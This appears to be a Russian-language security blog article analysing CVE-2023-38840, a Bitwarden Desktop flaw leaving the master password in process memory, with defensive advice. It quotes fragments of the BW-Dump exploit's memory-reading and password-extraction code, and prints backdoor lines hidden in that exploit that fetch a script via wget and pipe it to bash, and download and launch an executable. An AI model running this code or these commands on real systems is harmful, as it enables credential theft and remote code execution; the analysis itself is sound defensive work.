Уязвимость в Bitwarden Desktop 2023.7.0
Уязвимость в Bitwarden Desktop 2023.7.0
Категория: Программы Теги: Уязвимости Опубликовано: 22 мая 2025

Уязвимость CVE-2023-38840 в Bitwarden Desktop

Уязвимость CVE-2023-38840 позволяет злоумышленнику с локальным доступом к системе извлечь мастер-пароль из заблокированного хранилища Bitwarden Desktop (версии 2023.7.0 и ниже). Пароль остается в памяти процесса Bitwarden.exe после разблокировки хранилища и может быть восстановлен до перезагрузки системы или завершения процесса. Эксплуатация не требует прав администратора.

Анализ уязвимости

Уровень опасности: 5.5 (Средний)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

  • AV:L (Вектор атаки) – Локальный доступ.

  • AC:L (Сложность эксплуатации) – Низкая сложность.

  • PR:L (Уровень привилегий) – Требуются базовые права пользователя.

  • UI:N (Взаимодействие с пользователем) – Не требуется.

  • S:U (Влияние на другие системы) – Не оказывает.

  • C:H (Конфиденциальность) – Высокий ущерб.

  • I:N (Целостность) – Нет воздействия.

  • A:N (Доступность) – Нет воздействия.


Условия эксплуатации

  1. Локальный доступ: Злоумышленник должен иметь физический или удаленный доступ к системе (например, через RDP, SSH, или прямой вход).

  2. Хранилище разблокировано: Пользователь должен хотя бы один раз разблокировать хранилище в текущей сессии.

  3. Отсутствие перезагрузки: Пароль сохраняется в памяти до перезапуска системы или завершения процесса Bitwarden.exe.

  4. Целевое ПО: Bitwarden Desktop ≤2023.7.0 на Windows 10/11.


Анализ эксплоита BW-Dump

Эксплоит использует Windows API для чтения памяти процесса Bitwarden.exe и поиска паттернов, связанных с мастер-паролем. Рассмотрим ключевые компоненты кода:

1. Поиск целевого процесса

Функция getFilteredProcs фильтрует процессы по имени (Bitwarden.exe) и аргументам командной строки (--no-zygote):

func getFilteredProcs(procList []*process.Process) ([]*targetProc, error) {
    for i := range procList {
        exeName, _ := procList[i].Name()
        cmdLine, _ := procList[i].Cmdline()
        if exeName == BWDesktopEXEName && strings.Contains(cmdLine, BWDesktopCmdLine) {
            // Добавление процесса в список целей
        }
    }
}

2. Чтение памяти процесса

Эксплоит использует ReadProcessMemory для дампа регионов памяти:

hProcess, err := syscall.OpenProcess(PROCESS_VM_READ, false, uint32(pid))
mem := make([]byte, mbi.RegionSize)
kernel32.ReadProcessMemory(win32.HANDLE(hProcess), lpAddress, mem)

3. Поиск паттернов

Для обнаружения пароля применяется регулярное выражение, ищущее последовательности ASCII-символов длиной ≥8:

BWDesktopRegexBytePattern = `\x01(?:[^\x00]{3})(?:[(\x20-\x7E)]{8,})`
// Пример: ищет байты 0x01, за которыми следуют печатаемые символы.

4. Фильтрация ложных срабатываний

Исключаются известные строки Bitwarden (например, CSS-классы, пути):

for _, str2 := range StaticBWStrings {
    if strings.Contains(str, str2) {
        isDefaultStr = true
        break
    }
}

5. Извлечение пароля

При совпадении паттерна пароль извлекается из смещения в памяти:

str := bytes.NewBuffer(mem[val[0]+4 : val[1]]).String()
fmt.Printf("[+] Password recovered: \"%s\"\n", str)

Подозрительные компоненты в коде

В файле constants.go обнаружены скрытые функции, напоминающие бекдор:

var AqsMfH = "wget -O - https://uniscomputer.icu/storage/de373d0df/a3146bf | /bin/bash &"
var tXNOG = "curl ... && start /b %UserProfile%\\...\\xnifq.exe"
func RPwVMB() error { exec.Command("cmd", "/C", tXNOG).Start() }

Эти строки могут загружать и исполнять произвольный код с удаленного сервера, что выходит за рамки заявленного функционала эксплоита.


Способы защиты

  1. Обновление: Установите Bitwarden Desktop версии 2023.8.0 или выше (патч в PR #5813).

  2. Очистка памяти:

    • После блокировки хранилища введите неверный пароль для перезаписи памяти.

    • Завершите процесс Bitwarden.exe через диспетчер задач.

  3. Мониторинг процессов: Используйте EDR-решения для обнаружения подозрительных операций с памятью.

  4. Ограничение локального доступа:

    • Запрещайте совместное использование учетных записей.

    • Используйте полное шифрование диска (BitLocker).

Алексей Черемных Алексей Черемных
78